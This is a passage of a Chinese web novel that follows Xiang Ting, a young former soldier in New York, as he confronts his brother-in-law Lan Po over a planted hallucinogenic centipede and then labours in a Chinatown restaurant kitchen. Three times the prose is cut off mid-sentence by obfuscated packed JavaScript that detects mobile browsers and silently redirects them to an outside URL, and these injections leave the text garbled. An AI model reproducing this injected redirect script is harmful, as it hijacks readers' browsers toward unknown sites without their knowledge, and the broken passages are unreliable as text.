蓝珀有着近乎病态的洁癖,白谟玺不经手,让他自己上药,只说一句外面的雪还没化尽,你衣服这么单。现在明明是白谟玺在开车,蓝珀却说自己累了,不能绕路送他回家,要白谟玺要么叫司机来要么打车走。 白谟玺平常也习惯他无情,这一次却说:“爸妈听说你出事,嘱咐我全心全意放你这里。” 蓝珀小小佯惊:“你祖母明明叫我死得安心死得干净,说我不是萨满就是撒旦,长着七八只恶魔之眼,是个能通灵的男巫。” “你曲解了。她是说你是上帝之子,神的后人,不惧锈不畏虫;可普通人的心灵会因贪念了这种人而遭腐蚀。她是警告我,别爱到了顶点,到头来是自己在心里跟自己相好了一场。以前的我也不信我那么花心的人,满世界也有个唯一的例外,就应在你身上。” 蓝珀敷好了药,就把口罩严实地戴上。似乎用行动表示外貌上有点小变故,不再是你着迷的模样。 白谟玺便说:“我是专门着眼于一个人的头脑和气质来爱的。当然,形象和谈吐可以让我一眼就看出他是否有才华。而且美或不美,不都是看心情的游戏吗?” 蓝珀看看窗外不接话却直管笑,无心云只自然飞:“那你稍微不严肃一点,有什么了不起的事?往后的日子多得像春天的树叶,不急在哪一时,有了缘分还怕没有机会?只是不晓得缘分是不是真的有?” 白谟玺一点都不笑,仍然很认真地说:“真的有,我把你刻到心里了。是看你,你身边的人太多,可你挑挑又拣拣,比较也比较过了,考验也考验过了。合得来的两个人要碰到一起,太难了点。所以都是男人又怎么样?正好我不喜欢小孩。我说服了每个亲人朋友接受你,Lanny,你跟我回家看看。” “好高级的循循善诱。早一点这样诱惑我,也许我们之间就不仅仅停在表面了吧?可是谟玺,认识你太久,我的部分天真已经自动蒸发掉了。” “但你还是愿意见我。” “因为好奇你坏能坏到什么程度,好人我是不敢想了。”蓝珀似是而非地叹了一下,“恋爱或许是你的第二生命。但我只想,人为什么要有那么多感情?亲情已经累赘,还要添上个恋情来折磨自己吗?” “你的著名借口。” “不光怪我吧?你这样金字塔顶端的人也不需要爱情。” “一定是你的心另有所属。” “是啊,我心里有个空位,我不能把他消除,也没人能填补。” 白谟玺的法式浪漫收放自如:“抱歉,我不知不觉没了距离。” 白谟玺作势拉开门,蓝珀看也没看地说:“你这个人其实不高级,别自以为幽默就掩饰过去了。” 感觉他久久还没下车,蓝珀这才望了一眼。 白谟玺目视前方,说了句:“害你破相的小福星来了。” 叹为观止,项廷居然真的用跑的来了。 白天本来就阴,这时一瓢雨点打在车顶上“噗噗”一片响。 蓝珀笑道:“看来天留客我们再聊聊。” 异国他乡淋暴雨,此时此景此身都像是幻觉。项廷没说出点有意义的话,或者他说了被雨声彻底盖住了。 雨越下越大,再不了断,车要成船了。蓝珀于是速战速决:“我以为你要说什么呢,手心都捏出汗了吧?小朋友,难道我非得透过你的沉默去猜你的心思吗?实话说,我对你迄今为止的所作所为颇感困惑。刚来美国第一天就闹进警察局,这开头可不怎么样。有件事本来我不太想说。你姐姐本来要来美国,准备了好几年。最近升了副教授,希望很大。现在你都来了,美国领事馆不太可能一次性欢迎整个家庭。明白我在说什么吗?你抢了她的位子,就别受了多大委屈似的!谁到纽约也是这样过来的。一个人总不能把天下好事占尽了吧?也要付点代价,想上天堂还得抬脚走一段路。” 项廷听见声,这回又没有看到姐夫的真容,只见他穿一件酒红色的丝绸衬衣,一朵夜游的玫瑰云,酡然吐艳的芍药花。 人与车擦肩一息便闪过去时,项廷突然冲上去攀住车窗:“开门!开门!” 车是白谟玺在开,他刚刚可以称得上是求婚的表白遭了拒绝,现在哪想听外人废话。可是车再不停,项廷就要被甩飞了。只能刹车,白谟玺说:“小子!你疯了吗?” 项廷却把手伸进车窗,反向拽开车门。那架势白谟玺还以为自己要被他揪出去了,被大雨潲了一头一脸,西装夹层里的大钻戒差点滚出来。 谁知项廷只是拿走了一瓶车载香薰。 尽管蓝珀不动声色,白谟玺还觉得在他面前从未丢过这么大的脸,脸上的肌肉如何摆放都不自在:“Lan,但凡这不是你认识的人,我的律师现在已经到场了。” 蓝珀却忽然脸色一变。只见项廷用随身的军刀划开铝制的瓶身,里头居然游出来一条活生生的百足虫! 这虫子在乡下叫草鞋底,蓝珀则称它蚰蜒,它尾部释放的气体具有非常强烈的致幻效果。 蓝珀说:“我就在想呢,怎么今天一上高速就头晕得厉害,原来是有人在背后对我不怀好意。你特意追过来就是为了这事?你是怎么发现的?" “警局那,猫在盯着,不会白盯着……” 项廷看上去快发高烧,有点喘着说。蓝珀却也没有让他上车呆一会,一声谢谢也吝啬。 这场急雨把项廷浇成了落水狗,白谟玺绷直嘴角踩了油门,蓝珀便飘然若仙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398191|168652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地消失了。 项廷原路回去。 刚才追来,起初因他是个藏不住事的急性子,心里一团团的疑惑,当然要当面质问蓝珀。况且蓝珀明天就去度假,八成是错过今晚,山高水远查无此人了。可是过来的路上,一个名流荟萃的盛装晚会散了场,项廷被人群堵住。草坪上曝晒着横七竖八的肉,一串串红男绿女们七彩肥皂泡般在屋前院后漫天飞舞,拥抱吻别的男女男男女女都有。他不由神神鬼鬼地开始悟道,同性之间的亲密难道是西方社会思想开通的特殊产物?美国果真/世界先锋艺术的大本营啊! 所以,会不会机缘巧合是他误会姐夫了呢?他跟蓝珀非亲非故,半面之交都没有,自己手上可没有让人无可抵赖的铁证啊。于是项廷的太阳穴一下一下清晰地跳动,好像有一股热血,不知道该不该冲出来,冲了又冲哪去? 就这样他跑着跑着就停了。一停下来,前边蓝珀的那辆车便格外刺眼,就像救护车的红灯闪个不停。项廷心中猛然毛得不行,像蓬蓬勃勃长满了毒草。 这下他必须追上去了。 项廷从小家中巨变,很多事他记不清了。但是童年开始,他便有某种危险预知的能力,虽然时灵时不灵,没人相信他。医生说他有神经官能症,是病,可项廷真的能在生活中避免一系列小到同学打架,大到交通事故的危险。当时选择入伍,也是为了验证这种直觉是否准确。事实证明,当兵第三个月,他就能够闭着眼睛排雷作业。 特殊能力不是免费的。每成功感知一次危险,项廷所承受的身心压力都会陡增。总体上产生的后果无规律,偶尔虚弱,经常暴躁。 项廷回到所谓的“住所”时,口袋里那张LAN的金箔镶边名片已被雨水泡发了。 楼里黑暗极了,一豆灯光不仅没有带来光明,反而添了几分鬼气。 项廷推开地下室的门。门呻/吟了一声,一股极难形容的味道扑面而来。一只超级市场上用的,装干货的空木箱,两只没了后背的椅子,一块长了霉的双人床垫——这便是全部家具。 不过项廷发现了一个小套间,套间里有一个不小的厨房,他打开瓦斯炉,火还挺旺。一台一人多高的大冰箱,没坏,能用。紧挨着厨房有一个洗澡间。水龙头一开:热水! 检查完毕,项廷总结似得长出一口气。 算算时间,国内是大下午。他打电话报平安,用一种反反复复想了很久才冒充出来的口吻:“姐,我安顿好了。很顺利,别担心。” 项青云才下课:“太好了,听到你的声音我就放心了。对了,你姐夫怎么样?” “姐夫特别好,对我跟亲弟弟一样。” “真的?” “真的,我感觉美国就像另一个家。”项廷腹稿充分。 “那就好,那就好。他这个人是有点面冷心热,听你这么说,我心里踏实多了。他既然这么照顾你,你也要懂得感恩,好好相处。” “好。我打算去上学,我心底对高等教育还是相当地向往。姐夫帮我看了几所学校,这几天就去办入学的手续。” 匆忙按下静音键,项廷才打了个特别大的喷嚏。由于用了特殊能力,他身体一会很烫,一会却如同落进了一个大冰窟。没有毯子,他就把浴帘扯下来裹身上。 项青云在电话那头细细叮咛着,项廷的心就越来越沉沉。蓝珀告诉他,是他夺走了原本属于姐姐的机会。现在他在这里的每一步,都是牺牲了姐姐的美国梦换来的了。 项青云听弟弟很久不说话,觉察到了什么:“你在那边要好好的,姐姐不想你因为任何事有负担。项廷你记住,你过得好就是最好的回报。我们是一家人,只要你好,我们都好。” 项廷一夜没睡。次日清晨墙上多了三行字,那是项廷用路边捡来的粉笔头子写下的小目标。 一、今天开始学英语,再不受美国人不明不白的欺负; 二、混出他妈个人样来,接来姐姐团聚,狠狠打姐夫的脸; 三、拿贼要见赃,捉奸要在床。海军特战队没有冲不出的险滩,蓝珀,你狠,我忍!但我总有一天让你露出究极人渣的真面目! 5. 宝剑错镂交龙文 纽约有不少蜚声国际的语言学校,为留学生提供一个半年的学习项目,学费至少也要五千美元,还不知道可否分期付款。项廷坐在床上盘算着,他换了一千美元随身携带,加上蓝珀借他的三百,加起来一千三。即便不扣除日常支出,这半年只进不出,剩下的三千七上哪里找去?要不去中国银行,请国内电汇过来? 但这样一来,一则姐姐会发现姐夫刻薄他,夫妻间不好做人,孕妇生气更动了胎气;二则顽固的自尊心不允许。自己出国前夸下海口,这才两天就要求人救济了么?那还不如让他缩回娘胎里去呢。 两难,项廷越想越是不忿,真的恨不得到哪里找个人来杀一杀!如果几条街之外的那个联合国现在表决要不要把地球炸掉,自己会投赞成票呢还是反对票?咬紧了牙,意志坚强,发下宏愿。拧开门把手从地下室出去的时候,他手里像虚执了一把刀,向前捅几下,杀——蓝珀——杀杀杀!吐出的白气还在嘴边上就被北风刮跑了。 出门在外靠同乡。所以项廷在风里雪里走了一中午,几条街都走遍了,比手画脚问了十来个路人,总算寻到了唐人街。 肮脏不堪的街道,红字烫金的牌楼,中餐馆一家挨一家,目不暇接。中国人还是美国人,穷也好富也罢,在纽约绝不会不知道唐人街的。劳工在台阶上虾着身子甩扑克,吸烈烟,小孩子在坑坑洼洼的麻袋上撒尿,和袋里不知何物发生化学反应。项廷惊诧这里的肮脏,可是肮脏中又散发着生气。小山般堆起的新鲜瓜果以及各式各样的海鲜,书摊上尽是些乌七八糟的港台裸体女人照的刊物。上海人叫卖排骨年糕、洋葱拌面种种风味小吃,零下的气温中人们排着一条条长龙等候着小报亭出售乐/透彩票。 项廷一时间竟有了回到了远在千里之外家乡的错觉。 然而,当他推开一家家餐馆的门,第一句话就是:“对不起,有打工的位置吗?”常常是把看门的侍应生吓了一跳。还没等到他自我介绍到一半,那些老板抬眼打量他时的心理,恐怕就和打量敲门讨钱的叫花子也差不多。 有一家店倒是点头哈腰,服务生戴着雪白耀眼的手套,躬身指着红木雕花座位,一副给项廷匆忙带位的样子。项廷回头一看,原来这是因为他后面跟了一个洋大人,自己借了他的光,狐假虎威了。项廷解释说自己不是吃饭,是来找工。老板刚才堆起的笑容一下子变成了不屑,真比好莱坞的任何一个角都会演。片刻老板挥一下大手,用胸腔重重地甩出一个声音:“没有工!没有工!”头也不回地扬长而去。 被扫地出门之后,项廷踩了很深的雪走到广场去,那儿有几张椅子。他把椅子上的雪拂掉就坐了,随便咽了几口路上带来的没有吃完的饼干,耐下性子观察一番。这里的中国人似乎都呆板,人与人之间根本不讲话,也许是美国社会的感情淡薄症和极度自我中心传到了每一个角落。项廷把手套脱下来夹在腋下,把手塞到羽绒衣里去。突然碰到了口袋里的一个小东西,一种特异的凉意传到心里。 那是蓝珀昨天给他一颗水果硬糖,蓝莓味。可能是洋味十足的缘故,掖在衣服里都足足香了他一个晚上。项廷用食指反复摸着那颗糖的外包装,平滑、光润、冰冷,圆圆的一颗,居然跟某个人一样透着一股难以言喻的洋精致,令人无比生厌,尤其是那件地厘蛇果一样的红衣。 项廷忽然天马行空,这粒糖就是控制着全球核装置的总按钮,引爆器就在他脑袋里,只要这么轻轻一按,蘑菇云顷刻升起。不仅是蓝珀完蛋了,全人类也真的没什么希望,干脆地球爆炸了算了。那样大家都干净、公平了,快快爆炸吧! 揉搓折磨着这颗蓝莓糖,项廷在锲而不舍地碰了一整天的灰的情况下,精神上却实现胜利。 晚上七点钟,他推开了“煲煲好”的朱红漆门。 戴黑领结的广东领班听说他应聘,把他从头到脚上下打量了一阵。看到这是个器宇轩昂的小伙,品貌十分不凡,但似乎走到哪儿都该很有点众星捧月的意思。这样的人不是池中物,活干不干得麻利另说,主要呆不久,他们想要稳定的长工。且看举止,他刚来美国,不好调教,尤其是从北京来的爷。领班于是拒绝了,让项廷请便。 项廷仍道了声谢,准备出门时,一阵尖锐的高跟鞋声,老板娘从后院出来了,而且带着三五个身着旗袍的迎宾小姐往外热情地招呼。有个姑娘忍不住偷偷看项廷,一个看了便全都看过来,一排向日葵似得跟着小太阳转。 “妖妖娆娆的给谁看呢?笑得这么开心,这么爱笑一会留着出去卖啊!”老板娘回头严声说道,吊梢一双凤眼指挥着领班,“这俩破瓶子还留着干嘛?缺个口儿还放这里吓人,扔了扔了,留着它们多晦气!” 柜台上有一对瓷花瓶,那是领班马路上捡来的。看着花样富贵吉祥,龙形栩栩如生,仿佛腾云驾雾,就洗干净了摆出来充门面。 领班刚要取走,却听项廷说:“等一下。” 老板娘着急接客,左右逢源地应酬,没空管,女孩子们则是个个伸着秀颈瞅他。 项廷走过去拿起花瓶仔细端详,敲敲,一会儿脸上突然露出了笑容:“上好的瓷土和青花料,这花瓶是明代藩王墓葬出土的,崇祯八年烧制,这么丢了也太可惜了!” “臭小子,你挡着我做生意嘀嘀咕咕什么呢?”老板娘转过脸来,“再给我说一遍,大声点儿让我听听。” 项廷解释:“我爸是个瓷器迷,我从小就跟着他学。听他讲,那会儿解放军一进城,哪个空房子好就住哪儿,各大部队都为这个打上架了。我们家就占了个大宅子,原主人是国民党的一个大头目,跑台湾去了,他家里那些古董啊什么的都落在客厅里了。后来那房子就分给我们住了,里面的家具都归我们。搬家那会儿,我爸就带走了一对明朝的花瓶,跟这个一模一样,我肯定没看走眼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“哟,你还挺有收藏癖的呢?” “我说了,我爸喜欢。” 国内还在实行票证政策,不少中国人把带回去冰箱彩电的大件当作衣锦还乡的标志。项廷在这块的追求是搬台钢琴,因为项青云为了补贴家用,卖掉了从小陪她到大的珠江牌钢琴。项父脑梗偏瘫,每天只能下床最多走5米,哪怕智力回退到小孩了,看到喜欢的东西也会宽宽心开开怀吧? “别想了,这宝贝我可不卖,老娘我是那种不开眼的人吗?绝对的非卖品!”老板娘一下一下点着他的鼻子说,“不过呢,要真想要,咱们可以从你的工资里慢慢扣,怎么样?干过吗?” “干过。” “干过什么?” “什么都行。” “得会点英语!” “英语、广东话、上海话、闽南话,我全都会。”其实项廷只会说北京话。 “我们缺一个bus boy,每天早上八点报道晚上十一点下工,开门前洗地板清炉头,打烊后擦窗户扫厕所,每个小时两块五。试工前七天,一个子儿甭想。你要能干,现在就干!” 6. 犹是襄王梦里仙 “喂,老赵,咱们来了个涮碗仔,专门来解放你!” 那个叫老赵的广东师傅,裹着一块儿早该见垃圾箱说不上颜色的围裙,从后厨探出头来。 “谢天谢地,总算找着帮手了!”老赵一边抹手,一边抱怨,“ 真係谢天谢地终于都搵到人帮手 ,再俾我自己一个人做,我就黎见棺材喇。” “我叫项廷,是来洗碗的。赵师傅,今后就要请您多指教、多照应了。” “哎呀,洗碗还用照应?洗就是了!” “那您看我在哪洗?” “有你洗的,慢慢来!手闲着吗?先把这只鸡拆了!” 项廷闻到那股热乎乎的、烫鸡毛的腥味儿。厨房里有两排挺长的操作台,两旁都站了人,拔完毛的鸡堆成了个小山似的。 赵师傅的手简直快得像夜场里打飞碟的,一只只鸡刚从笼子里拽出来,下一秒就已经在那大桶里挣扎着放血,出最后一口气了。还有活蹦乱跳的,他也不含糊,直接丢进那冒烟的大锅里,震两震就完事,然后扔给旁边的人去弄毛。像变戏法似的轻松切掉鸡头丢下,又抓了新的一只放好,嘴角挂着笑,手上的动作没停。那只鸡虽尴尬地蹲着,却也没敢跑。他边跟项廷侃侃而谈,边在羽毛上来回抹刀,刀背拍一拍,那鸡就“咯咯”叫,反正一动不动。 项廷说:“美国的鸡也太听话了吧?我在部队上见过鸡,几个炊事员围剿也抓不到。” 赵师傅说:“这鸡是流水线上出来的,一辈子就没走过几步路,啥也没干,就知道吃,知道啥叫逃?” 赵师傅边说边又拍了拍那只鸡,一转手,鸡头没了,血直往外冒,那鸡身子还呆在原地,脚还蹬呢。鸡头掉地上,还能看见嘴巴微动,他一脚把它踢到角落去,又在那断颈上抹了抹刀,倒拎着鸡就丢了。接着,他又抓了一只,把那刀血迹未干放在鸡头前让它嗅嗅,血滴到鸡鼻子里。 赵师傅开了一只鸡,哪儿起刀,哪儿拉皮,刷刷刷,就只剩一副骨架。他转头问:“看明白了没?” “看明白了。” “确定?” 项廷在脑子里迅速回顾了一遍流程,信心满满地回答:“确定!” 赵师傅一直盯着项廷,这小子搞半天搞出个大新闻,单开一只就花了将近二十分钟。项廷手一抖,手指头就被刀片蹭了一道。他在水龙头那儿冲了冲,随便找了块胶布贴上,糊了两层,头也不抬就继续埋头苦干。没多久,胶布就被血给染透了,案板上的水也沾湿了胶布。项廷用手指压着伤口,专心致志地继续揪内脏。赵师傅过来一瞧,不乐意地说:“这才弄了七只?”项廷默不作声,继续忙他的。赵师傅还指着鸡架上剩的不多的肉:“看看,糟蹋,都糟蹋了。”拉过一个自己剁的鸡架,“看我弄的,剩肉了么?”项廷说:“您是师傅,我还在学徒阶段,真不敢拿来比较。”赵师傅脸上有了笑:“小子,嘴巴能说可不是本事。事情呢,要么就别做,要做就得拿出手艺来!算了,你洗碗去好了,我来开它。” 项廷将功折罪,飞快地往洗碗机里塞碗,机器运转的空档,他又赶紧把碗里的剩饭剩菜倒进垃圾箱,碰撞发出一阵阵脆响。赵师傅提醒他:“不用那么急,当心弄坏了东西。”项廷动作不减反增:“您放心吧,包在我身上。”洗完碗他又去切菜。等到夜里十二点,还没完,他已然失去了时间流动的知觉。弄完卫生准备回家时,已经近一点了,赵师傅还在那儿忙着开鸡。项廷心里不是滋味:“这鸡咱明天再弄吧。”赵师傅回道:“你走吧,我忙完这个。屋里暖和,放外头鸡肉明天都软掉了。”项廷回到家里,摘下那块湿透的胶布,伤口已经裂开,周围的皮肤泡得发白。关掉灯,躺床上,睡不着,耳边偶尔传来公路上汽车飞驰的声音,而他蜗居的地下室里,一丝自然光也透不进来。 第二天早上七点,赵师傅从三楼的宿舍下来,一看店门敞开着,心里纳闷:难道昨晚忘记锁门了? 走进后厨,只见中间的大桌上分三个大盆,一盆鸡头鸡爪,一盆鸡胗、鸡肠、鸡心、鸡肝,还有一盆专放净肉。项廷正忙着给一只鸡开膛,顺着鸡胸突起位置,从鸡屁股下刀,利落地把鸡胸一分为二直到脖子。虽然动作不甚熟练,但慢工出细活,鸡架上寸肉不剩,扔给狗都不吃。 “你一晚上就忙这个啊?没回家去?” “回家眯了一会。但老板娘说这几天开业,店里生意好,怕鸡肉不够用。我就早到了会,从花盆底下摸出钥匙来了。” 赵师傅没见过这样实心眼、又肯吃苦的年轻小伙,把他招到面前来:“好小子,早饭吃了么?等下你先到冷库里挑一只快过期的鸡,我亲自教你炒个菜,咱垫垫肚子,再接着干。” 项廷就这样在后厨全力以赴地干活,赵师傅当然对他十分满意,到了介绍女儿相亲的地步。可第一个礼拜,他还是被老板娘秦凤英女士训了两次。 有一次是晚上收工,项廷负责打扫,却忘记把烤箱关了。秦凤英正巡视厨房,一眼就看到烤箱里面的电阻丝红得吓人。秦凤英说:“你脑子是不是进水了?几次了,都快烤糊了!搞坏了三千块钱你上哪儿赔去?” 还有一次秦凤英要他包饺子。她自己先包了几个示范,项廷跟着学包了几个,她看了说还行,就让项廷自己包去了。项廷想着得赶紧弥补之前开鸡慢的坏印象,手脚麻利地一下子包了不少,心里慢慢有了点底,觉得自己做这手活儿也不算太菜。手上的速度更快了。经理来了,捡了几个饺子看了看,也没吭声。一盘包好了,经理就拿去煮。一会儿,几个饺子就被从后头扔过来,砸中了项廷的后脑勺,掉下来热腾腾的一滚滚地到处都是。项廷回头一看,只见那饺子下水皮开肉绽,简直成了一锅菜肉汤。秦凤英气冲冲地说:“这玩意儿也好意思卖钱?你说说看!要是卖你,你乐意掏钱吗?” 项廷蹲下来把饺子都捡了,再拖一遍地。去水池那拧拖把时,经理斜觑着他,支起一条腿脚尖着地,掏烟点了深吸一大口,有滋有味地昂了头吐出烟圈。 “连后厨这点事都搞不定,还想往大堂那儿凑趣儿呢?”经理把烟蒂弹得老远,有一块直接飞到了项廷的鼻梁上,烟块从脸上掉到拖把上轻轻咻的一声就不见了,“哎呦,我这记性不行,该咋跟咱们八路军的小首长说话来着?” 中餐厅里,跑堂绝对算得上美差,因为可以收小费。项廷英语不理想,没机会到大厅里露露脸,只能待在厨房老老实实挣点小时费。所以经理的责难,其实只是因为前几天,有个顾客揩油女服务员,老板娘气得泼了顾客一杯辣椒水,场面不可开交,事态一度升级,旁人都不敢上前调停,项廷正好送外卖回来挺身而出罢了。当时半条唐人街都在围观,煲煲好门口摆满了自带的小板凳。次日这些场外座位也没撤掉,只是看热闹的群众变成了排队燥候饭吃的顾客。一个接一个的人点名叫昨天的小哥出来招待,看着他下饭,小菜就比大酒店的国宴还要香。 项廷长得没有任何技巧,就是硬帅。海外华人圈子本来就小,此等硬菜一传了十,十就传百。 经理监督项廷天天弯腰干活,可为什么他的个子好像比初见时还拔高了?但长得再高,都不及自己咯吱窝的一根毛。经理抬脚踩住了拖把,项廷眼是半垂着,但没低一点头。经理便得寸进尺踩住了他的鞋,碾扁一块口香糖似得踩了又踩。项廷始终哑巴着,只在最后香烟也被掷到鞋上时,才说:“师傅那边正叫我,我得回去忙活了。” 经理的气焰得到伸张,鼻子一哼回大堂了。项廷听到一串放肆的笑浪,一转角果然撞到秦凤英。秦凤英刚核了这月的账,心情颇为美丽,看了看项廷的鞋,笑道:“小子,又挨教训啦?你可别往心里去,恨上你英姐。” 项廷说:“没什么好恨的,有朝一日换了我自己当老板也要训人的。” “哟,你还想当老板?也开个餐馆什么的?” “也行。要是美国家家中餐馆都挂出中国国旗的话,中国早就成了日不落帝国。” “到底是留学生,讲话就是水平不同,我听着都半懂不懂的!”秦凤英大发慈悲,“行,为你有这份爱国的志气,明天开始你就去大堂上班。” 项廷却说:“不用了,我在和赵师傅学炒菜,以后打算争取成为个大厨。” 秦凤英把他上下兜了一遍,接着走到自己休息的小房间里,出来时手里拿着一叠钱:“这是你前七天的人工,今天的下个星期再pay。” 项廷一时都没接过来:“英姐,您之前不是说试工期间是不发工资的吗?” 秦凤英塞到他手里:“你数一数。” 项廷说:“手湿着呢,老板不会错。” 秦凤英点点他:“你这个小子,有时候脸挂着个冷冰冰的,有时候嘴巴倒蛮能说甜话的。我说不给钱,那是吓吓你的。咱们新店开张,谁知道你这一头闯进来的,会不会是对面那家派来捣乱的呢?最开始给你点儿脾气看,也是想试试你能不能扛得住压,能不能在大伙儿面前甩开脸面好好干。结果你总算撑了下来,干的活还挺不错。那这钱,自然是少不了你的。” 老板娘说完就走了。项廷捏捏口袋,厚厚的一摞。给他钱时他看了一眼,很多二十的。摸了几遍,憋不住了。项廷找机会把手擦干,假装要去搬鸡,钻进冷库,关上门坐在大冰块上。掏出钱,数了一遍,足足有二百九十五块五。又数一遍,没错。数完钱他就去忙碗碟了,一边洗一边想:是不是因为他干活卖力,老板娘特意多给了他点? 项廷只是这一念闪过,没有再多想。他要是太计较这些苦力钱,打算一辈子交代在餐厅里,早就主动请缨去跑堂了。可眼下是老板娘让他去,他也不去。因为大厅里人来人往,他还学什么英语?但在厨房,他就能利用片刻时间,把小抄贴在胳膊上,在早晨熬高汤的空当里,偷偷背上几句。有一回半夜,赵师傅下楼来拿东西,发现项廷边擦地边听英语磁带,还表扬他勤奋好学。归根结底,老赵是厨房的总管,不耽误活的情况下,他不会介意项廷一心想着两头办。 半个月下来,项廷净赚五百块。这对他攒学费的计划来说,算是完成了六分之一,前提是不把房租和他欠蓝珀的利息算进去。由于行李不翼而飞,日用品也是不小的开销,但项廷还是额外买了一个肥皂盒。肥皂盒天鹅造型,中间供奉着那颗蓝莓糖。项廷每天出门前,在镜子前看看它,有种勾践房梁上挂着的那只苦胆的味道。 有时候生意冷清点,秦凤英就让他不必早出晚归。项廷多出了一点自由时间,骑了车满城跑,只要是挨点边的地方就过去问一声,要不要兼职。在这种天气里,整个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398193|168652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 城市只有他一个人在骑车。他总是瞧瞧还有没有第二个骑车人,但从没发现。全纽约他是最窘迫的一个人了。同时他又有一点骄傲,这么狂的风,这么大的雪,谁敢走单骑?全城可只有我项廷一个人! 这天六点钟,风像刀子在后面刮着他跑。熹微的星光下伸展着一条雪白的路,单车擦着雪地发出均匀的沙沙轻响。骑到半路,他的手已经冻得握不住车把,也捏不了刹车了。他怕迟到,想坚持下,结果遇到一个下坡路,怎么也刹不了车。越冲越快,风在耳边嗡嗡地鸣响。他想今天非摔个四脚朝天不可,有一种跳车的冲动。快到坡底他看见路边有个大雪堆,就对着雪堆冲去。单车插进雪堆,往前一冲,身体从龙头前飞出去,头扎进了一个大雪人的肚子里。他一滚,滚下雪堆,伸伸胳膊跺跺脚,哪都没摔坏。脸上湿漉漉的,以为流的是血,冻得没什么感觉了,结果一抹,只是雪。他把另一只手套也脱下来,撮了两只手,在刺骨的寒风中呵着暖气,漫天飞舞的白雪糊了一脸。 项廷把单车从雪里拔出来,扶着车往唐人街走。倒不是摔怕了,是因为他刚刚将要摔下去时,好像听见有人在叫他,叫的居然还是他的小名。头栽到雪里时,也有猛地刹车声,急促的脚步声朝他这里过来。 可现在四下张望,半个人影都没有。幻觉了吗? 下午,餐厅的活不多。别的同事回到库房休息,项廷也不去听他们谈些什么,靠了墙闭目休息,一心只有ABC。 经理看他一副遗世独立的高姿态,总是不爽,早就在小团体里散播谣言,一开始是说他杀鸡如麻,看着惊心;后来说项廷只在老板娘来时才有个笑模样,跟老板娘常常热乎劲逾了分寸,别小看大陆仔,真他妈有一套,不花钱,白玩——过瘾!怪不得老板娘忽然对咱们分外挑鼻子挑眼起来。咱们跟着英姐打拼几年多,从来没出过问题,突然就都有了问题,想想,为什么?唯一的变量就是小白脸来了! 老赵今天休假。项廷炒菜时,经理带着几个男服务员不住地在旁边说不是,不是过生就是过熟。等项廷费尽周折终于让这几位大哥满意之后,他们又把手头的活儿全推给了他。项廷反正不想回那个暗无天日的地下室,环境还不如后厨,指望这帮人早点收工回去,自己就能大声放磁带。所以不管他们如何挑剔排挤,他一概装作不懂,又能把他怎么样。别人给他派活,他也不作评论,只是应着表示听见了,继续一心一意地剥冻虾。几人觉得欺负他很没意思,也三三五五回宿舍,和一群码头的日结工一块打牌喝酒去了。 项廷对其他人的话一耳朵进一耳朵出,惟独对蓝珀的每种情感都很到位,水乳交融。除了愤怒鄙夷之外,他是真喜欢蓝珀那辆车,把它当成了自己短期要努力到的目标之一。本就没见过蓝珀的真容,连那腰肢的剪影也模糊了,项廷想着想着,脑海里浮现一双花花眼,搭配一张爱尥蹶子的马脸。 晚上九点钟,项廷终于落得清净。洗碗机坏了,几百个碗只能手洗。紫色的洗涤剂泡得他手痒痒的,白色的漂白粉又呛得他睁不开眼。碗越洗越多,洗不过来了,但项廷还在自己的舒服节奏里干着活——反正英语是听不完的。 谁知道秦凤英还没走,汇好账目,就来后厨问:“你知道怎么回家吗?” 项廷连忙按掉录音机:“知道的。” “要不要我开车送你一程呢?” “不,不麻烦了。” “你一来,我这的生意就红火起来。得庆祝一下,请你喝一杯。”秦凤英拉长声调说了一声,“OK?” “真的没事,英姐,我不会喝酒。” “酒可是好东西,你孤孤单单到美国来,万里迢迢地也要有个抒发寄托吧?” 秦凤英走近了些,见到项廷卷着袖子,手还泡在洗碗的池子里。那手臂线条柔和而不失紧实,恰当好处的肌肉,似乎在泡泡折射下闪着微妙的光泽,身上散发着刚刚运动完般的鲜活热气,一切正是十七岁青春的完美写照。 秦凤英一往前,这挺拔的箭竹似得男孩马上往后让了一步。好几次她的笑意都荡到了脸上,要说又咽了下去,最后说:“真是傻蛋,我又不会把你怎么样。别整天英姐英姐的,听着多老气,以后就叫我声姐姐。” 这句话让项廷挺不适。他对着项青云也就是叫个姐,那声“姐姐”怎么也叫不出来,感觉这称呼有点特别,挺珍重的,承载无以名状的美好。他就找了个借口:“我有亲姐了。” “那行吧!别忘了关烤箱。”秦凤英也不强人所难,走了。 项廷扪心自问,到现在为止没对老板娘讲过一句客套之外的话,所以这一遭莫名其妙。 但也不重要,他心里只想着早上撞车时出现的幻听,意悬悬地过不去。 项廷实在是太累了,没多久便靠着墙,环着手臂睡着了。 